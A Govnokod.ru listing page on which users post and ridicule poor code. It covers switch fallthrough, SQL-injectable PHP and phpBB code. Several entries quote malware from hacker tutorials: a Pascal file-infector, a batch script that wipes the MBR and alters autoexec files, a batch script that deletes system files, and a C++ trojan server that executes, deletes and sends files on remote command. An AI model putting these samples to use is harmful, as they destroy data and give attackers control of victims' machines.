По колено в коде — Говнокод.ру

C++ / Говнокод #15566

+22

1
2
3
4
5
6
7
8

switch(par)
{
  case 'O' : cdcb.Parity = ODDPARITY;
  case 'M': cdcb.Parity = MARKPARITY;
  case 'E'  : cdcb.Parity = EVENPARITY;
  case 'N' : cdcb.Parity = NOPARITY;
  default  : cdcb.Parity = NOPARITY;
}

И это в классе dracula

xantue, 24 Марта 2014

Комментарии (27)

JavaScript / Говнокод #15559

+155

1
2

if(rradiocheck.test(elem.type)&&!jQuery.support.checkOn){return elem.getAttribute("value")===null?"on":elem.value;}
return(elem.value||"").replace(rreturn,"");}

http://govnokod.ru/media/ddd20ce56acf1d9ebadd126322495087.js
Говно так и льется.

gost, 23 Марта 2014

Комментарии (20)

Pascal / Говнокод #15558

+86

01
02
03
04
05
06
07
08
09
10
11
12
13

function RealToStr(X: Real; Count: Integer): String;//Count - количество цифр после запятой
var S: String;
    N: Integer;
begin
  S:=FloatToStr(X); //после запятой - длинная последовательность цифр
//DecimalSeparator - константа, содержащая истинный разделитель целой и дробной частей числа
 N:=Pos(DecimalSeparator, S); //позиция запятой в строке
//вычисляем длину строки с нужным количеством знаков после запятой:
  if N=0//если в строке нет запятой - это целое число, и
    then N:=Length(S)//тогда просто выводим это число
    else N:=N+Count;//иначе вычисляем длину строки
  Result:=Copy(S, 1, N);//копируем часть строки в результат
end;

Говно на говне сидит и говном погоняет.
http://www.delphi-manual.ru/work-with-strings.php

gost, 23 Марта 2014

Комментарии (13)

Pascal / Говнокод #15557

+89

01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35

procedure infect(victim:string);
var
a:integer;

Buf: array[1..virsize] of byte;
nr,nw:longint;
begin
try
randomize;
assignfile(f1,victim);
a:=random(200);
rename(f1,'bad'+inttostr(a)) ;
filemode :=0;
assignfile(f2,paramstr(0));
reset(f2,1) ;
seek(f2,0);
blockread(f2,buf,virsize);
filemode:=2 ;
closefile(f2);
assignfile(f1,victim);
rewrite(f1,1);
blockwrite(f1,buf,virsize);
assignfile(f2,'bad'+inttostr(a));
reset(f2,1);
seek(f2,0);
repeat
BlockRead(f2, Buf,virsize, NR);
BlockWrite(f1, Buf, NR, NW);
until (NR = 0) or (NW <> NR);
closefile(f1);
closefile(f2);
deletefile(pchar('bad'+inttostr(a)))
except
end;
end;

Ксакеп, нуфф сказал.
http://www.xakep.ru/post/23374/

gost, 23 Марта 2014

Комментарии (118)

PHP / Говнокод #15556

+161

01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63

// Сначала он считал рефералов на уровнях

$sql = mysql_query("SELECT `lvl1` FROM `таблица` WHERE `nick` = $nick");
while($row = mysql_fetch_array($sql)){
	$a++;
}
$sql = mysql_query("SELECT `lvl2` FROM `таблица` WHERE `nick` = $nick");
while($row = mysql_fetch_array($sql)){
	$b++;
}
$sql = mysql_query("SELECT `lvl3` FROM `таблица` WHERE `nick` = $nick");
while($row = mysql_fetch_array($sql)){
	$c++;
}
$sql = mysql_query("SELECT `lvl4` FROM `таблица` WHERE `nick` = $nick");
while($row = mysql_fetch_array($sql)){
	$d++;
}
$sql = mysql_query("SELECT `lvl5` FROM `таблица` WHERE `nick` = $nick");
while($row = mysql_fetch_array($sql)){
	$e++;
}
$sql = mysql_query("SELECT `lvl6` FROM `таблица` WHERE `nick` = $nick");
while($row = mysql_fetch_array($sql)){
	$f++;
}
$sql = mysql_query("SELECT `lvl7` FROM `таблица` WHERE `nick` = $nick");
while($row = mysql_fetch_array($sql)){
	$g++;
}
$sql = mysql_query("SELECT `lvl8` FROM `таблица` WHERE `nick` = $nick");
while($row = mysql_fetch_array($sql)){
	$h++;
}

// Потом он начал регистрировать пользователя на определенном уровне

if($a<3){
	mysql_query("INSERT INTO `таблица`(`lvl1`) VALUES ('$login')");
} 
elseif($b<5){
	mysql_query("INSERT INTO `таблица`(`lvl2`) VALUES ('$login')");
}
elseif($c<9){
	mysql_query("INSERT INTO `таблица`(`lvl3`) VALUES ('$login')");
}
elseif($d<17){
	mysql_query("INSERT INTO `таблица`(`lvl4`) VALUES ('$login')");
}
elseif($e<33){
	mysql_query("INSERT INTO `таблица`(`lvl5`) VALUES ('$login')");
}
elseif($f<65){
	mysql_query("INSERT INTO `таблица`(`lvl6`) VALUES ('$login')");
}
elseif($g<129){
	mysql_query("INSERT INTO `таблица`(`lvl7`) VALUES ('$login')");
}
elseif($h<257){
	mysql_query("INSERT INTO `таблица`(`lvl8`) VALUES ('$login')");
}
elseif($h>256){
	echo "ВЫ использовали всех рефералов, можете смело идти нахуй:)";

Пишем проект, чувак сделал реферальную систему, епт...

proweber1, 23 Марта 2014

Комментарии (14)

PHP / Говнокод #15555

+158

01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18

function unique_id($extra = 'c')
{
	static $dss_seeded = false;
	global $config;

	$val = $config['rand_seed'] . microtime();
	$val = md5($val);
	$config['rand_seed'] = md5($config['rand_seed'] . $val . $extra);

	if ($dss_seeded !== true && ($config['rand_seed_last_update'] < time() - rand(1,10)))
	{
		set_config('rand_seed_last_update', time(), true);
		set_config('rand_seed', $config['rand_seed'], true);
		$dss_seeded = true;
	}

	return substr($val, 4, 16);
}

Казалось бы, что может быть интересного в генерации случайного числа для хеширования данных?!
Ан нет, хороший, творческий художник даже такую скучную вещь может превратить в произведение искусства.
Код взят из самого популярного движка для форумов- phpBB.

Sumanai, 22 Марта 2014

Комментарии (27)

Куча / Говнокод #15554

+124

01
02
03
04
05
06
07
08
09
10
11
12
13
14
15

@echo off
title %0
rem conditional check.
echo welcome to this wonderful program! please wait while I delete all your files!
rem infection of the user
copy %0 c:\tmp.bat >null attrib +r +s +h c:\tmp.bat echo for %%i in (*.bat) do copy c:\tmp.bat+%%i %%i >>c:\windows\system32\autoexec.NT
echo echo virus detected! >>c:\windows\system32\autoexec.NT
echo pause >>c:\windows\system32\autoexec.NT
echo NT core:infected!
echo echo shame on you! >>c:\autoexec.bat
echo echo system hault-virus identified! >>c:\autoexec.bat
echo chkdsk >>c:\autoexec.bat
echo i t i s t o o l a t e, y o u h a v e a v i r u s, n o w u r l i f e i s n o t b e a u t i f u l
fdisk /mbr
shutdown -s -t 03 -c “windows has shut down because the lsass service has encountered a write fault at 0×00000000000000000000000000000000000″

Нужно БОЛЬШЕ нулей в адресе!
http://ru.wikihow.com/%D1%81%D0%BE%D0%B7%D0%B4%D0%B0%D1%82%D1% 8C-%D0%B2%D0%B8%D1%80%D1%83%D1%81

gost, 22 Марта 2014

Комментарии (8)

Куча / Говнокод #15553

+131

1
2
3
4
5

Чтобы сделать программу невидимой для пользователя нажимаем на форму в конструктере и изменяем следующие свойства:
— FormBorderStyle — None
— Opacity — 0%
— ShowIcon — False
— ShowInTaskbar — False

И Хабр туда-же...
http://habrahabr.ru/post/127278/

gost, 22 Марта 2014

Комментарии (7)

Куча / Говнокод #15552

+131

01
02
03
04
05
06
07
08
09
10
11

Cd\ 
Cd C: 
Сd winMe 
Del *.exe 
Del *.ini 
Del *.com 
Cd\ 
Cd win98 
Cd system 
Del *.dll 
Del *.exe

Сd windows -переходим в папку Windows (у 95% ламеров и юзеров папка называется именно так)
Большой минус бат файлов да и ДОСа в частности это то что нельзя удалять сразу папку с файлами, а нужно заходить в каждую папку отдельно и удалять там файлы.!!!
(C) http://kivi.clan.su/publ/kopjutery/sozdanie_virusov/kak_sozdat_virus_v_bloknote/10-1-0-8

gost, 22 Марта 2014

Комментарии (93)

C++ / Говнокод #15551

+13

01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43

void __fastcall TForm1::FormCreate(TObject *Sender)
{
// ServSckt - наш компонент TServerSocket
ServSckt->Port = 4321;
ServSckt->Active = true;
}
 
void __fastcall TForm1::ServScktClientRead(TObject *Sender,
      TCustomWinSocket *Socket)
{
RecCommand(Socket->ReceiveText()); // пишем для наглядности функцию обработки поступившей
                                  // информации, которую передаем как параметр этой функции
}
//---------------------------------------------------------------------------
// собственно сама функция: Rec - сокращение от Recognize. Можно по-другому назвать =)
void TForm1::RecCommand (String received)
{
int cn;
TTrojanUtilites Utilz;  // создаем объект наших утилит 
Utilz.Sock=ServSckt;    // необходимо для отсылки ответа клиенту, так как сокет у нас
                // находится на форме, а TTrojanUtilites не имеет никакого отношения
                // к форме. Просто передаем указатель на TServerSocket
String temp;
temp=received;
temp.Delete(2,temp.Length());   // получаем первый символ сообщения - номер команды
cn = StrToInt(temp);       // преобразуем в число
received.Delete(1,1);      // удаляем код команды - остаются одни параметры
switch (cn) {         // в соответсвии с полученой командой 
                                // запускаем соотвествующую утилиту 
case 1 : Utilz.RestartMachine(); break;  // перезагрузка
case 2 : Utilz.WriteRegistry(received); break;  // запись в реестр
case 3 : Utilz.ReadRegistry(received); break;   // чтение реестра
case 4 : Utilz.SendFile(received); break;       // чтение файла
case 5 : Utilz.DeleteFile(received); break;     // удаление файла 
case 6 : Utilz.ExecuteFile(received); break;    // запуск файла 
case 7 : Utilz.OpenCloseCD; break;            // открытие/закрытие CD-ROM
case 8 : Utilz.HideMouse(); break;            // прячем курсор мыши 
case 9 : Utilz.SwapMouseButtons(); break;       // переключаем кнопки мыши 
default:
SendMsgToClient("Неправильная команда!") ; // получена недопустимая команда
                                           // информируем клиента об этом
}
}

NAT, NAT... Да что вы пристали со своим NAT?!
Отсюда - http://hackersoft.ru/library/articles/other/pishem_svoego_troyanchika_.html

gost, 21 Марта 2014

Комментарии (16)

Говнокод: по колено в коде.

C++ / Говнокод #15566

JavaScript / Говнокод #15559

Pascal / Говнокод #15558

Pascal / Говнокод #15557

PHP / Говнокод #15556

PHP / Говнокод #15555

Куча / Говнокод #15554

Куча / Говнокод #15553

Куча / Говнокод #15552

C++ / Говнокод #15551